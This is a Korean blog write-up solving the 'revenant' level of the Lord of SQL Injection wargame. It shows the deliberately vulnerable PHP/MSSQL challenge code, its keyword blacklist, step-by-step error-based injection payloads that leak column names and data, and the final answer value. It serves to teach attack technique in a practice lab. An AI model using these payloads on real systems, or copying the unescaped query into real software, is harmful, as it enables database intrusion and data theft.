vared
vared - Blog
vared
전체 방문자
오늘
어제
  • 분류 전체보기 (138)
    • Study (0)
    • Project (0)
    • Paper Review (0)
    • Tool (0)
    • WriteUp (124)
      • Root-me.org (44)
      • LOS_rubiya (32)
      • Webhacking.kr (21)
      • DreamHack (9)
      • XCZ.kr (8)
      • HackCTF (10)
    • Miscellaneous (0)
    • Forensic-CheatSheet (10)

블로그 메뉴

  • Category

공지사항

  • Forensic-CheatSheet 오픈

인기 글

태그

  • forensic artifacts
  • LNK FIile
  • forensic-cheatsheet
  • Artifacts
  • digital-forensics
  • Windows Artifact
  • sql injection
  • Digital-Forensic
  • shellbag
  • webhacking.kr
  • Digital Forensic
  • JavaScript
  • Los
  • Thumbcache
  • ssd
  • iconcahce
  • shellbag forensics
  • File Execution
  • trim

최근 댓글

최근 글

티스토리

hELLO · Designed By 정상우.
vared

vared - Blog

WriteUp/LOS_rubiya

LOS -rubiya : revenant

2020. 5. 14. 23:21

<코드 분석>

<?php
  include "./config.php";
  login_chk();
  $db = mssql_connect();
  if(preg_match('/master|sys|information|prob|;|waitfor|_/i', $_GET['id'])) exit("No Hack ~_~");
  if(preg_match('/master|sys|information|prob|;|waitfor|_/i', $_GET['pw'])) exit("No Hack ~_~");

  $query = "select * from prob_revenant where id='{$_GET['id']}' and pw='{$_GET['pw']}'";

  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  sqlsrv_query($db,$query);
  if(sqlsrv_errors()) exit(mssql_error(sqlsrv_errors()));

  $query = "select * from prob_revenant where id='admin'"; 
  $result = sqlsrv_fetch_array(sqlsrv_query($db,$query));
  if($result['4'] === $_GET['pw']) solve("revenant"); // you have to pwn 5th column
  highlight_file(__FILE__);
?>

이전 문제랑 동일하게 mssql 을 이용해서 문제를 푼다.

필터링 항목부터 체크해보면, master sys information prob ; waitfor _를 필터링한다.

id 가 admin인 항목의 인덱스 4의 값을 알아내면 문제가 풀린다.


<해설>

error 값을 보여주기 때문에 error based sql injection 일  것 같은데

이전 문제랑 동일하게

?id=a' having 1=1 --

을 넣어주게 되면 ,

Error: [Microsoft][ODBC Driver 17 for SQL Server][SQL Server]Column 'prob_revenant.id' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.

다음과같은 에러를 띄워준다.

?id=admin' or pw=1 --

guest 라는 값을 알려준다.

에러를 여러 개 띄우거나, 원하는 index의 에러를 띄우고 싶은데,

 

테이블 이름부터 알아보자

?id=' having 1=1 --

prob_revenant.id

-> 이건 prob 가 들어가 있으니까 써먹지는 못할거같다.

?id=' group by id having 1=1 --

-> pw 라는 컬럼 값이 나왔다.

 

여기서 감을 잡았다.

group by 를 해주면 다음 column이 에러가 나서 노출되게 된다.

 

?id=' group by id,pw having 1=1 --

->45a88487라는 컬럼 값이 나오고,

?id=' group by id,pw,45a88487 having 1=1 --

-> 아예 오류가 나오네, syntax 오류라고 한다.

 

SQL 컬럼 생성 규칙중에 "문자"로 시작해야 한다는 조건이 있다.

그렇다면 앞부분에 누락이 생겼을 수도 있을 거같은데,,,

구글링해 보니,

숫자 이름의 컬럼은 ""를 사용해야한다고 한다.

 

?id=' group by id,pw,"45a88487" having 1=1 --

그다음으로 나온 컬럼 값은 13477a35이다.

 

근데 이건 인덱스가 5다. 주석에는 5번째 칼럼을 따라고 했는데,,,,

코드를 보면 4번째 인덱스를 물어보네,,,

코드가 맞는거니까 코드대로 해보자.

한번 더해보면.

9604b0c8 나온다.

 

?id=' group by id,pw,"45a88487","9604b0c8" having 1=1 --

9604b0c8가 답인줄 알았다.

우리가 구한것은 칼럼이름이지, 값이 아니다.

 

즉 값을 구해보자.

?id=admin' and "9604b0c8"=1 --

이렇게 해서 data type 에 에러를 만들어주면 된다.

f7106bc652b5ba39c294be2d0097a9c1

라는 값이 나왔다.

 

 

Clear!

저작자표시 (새창열림)

'WriteUp > LOS_rubiya' 카테고리의 다른 글

LOS -rubiya : Mummy  (0) 2020.05.18
LOS -rubiya : Nessie  (0) 2020.05.15
LOS -rubiya : Yeti  (0) 2020.05.14
LOS -rubiya : Skeleton  (0) 2020.05.13
LOS -rubiya : Vampire  (0) 2020.05.13
    'WriteUp/LOS_rubiya' 카테고리의 다른 글
    • LOS -rubiya : Mummy
    • LOS -rubiya : Nessie
    • LOS -rubiya : Yeti
    • LOS -rubiya : Skeleton
    vared
    vared

    티스토리툴바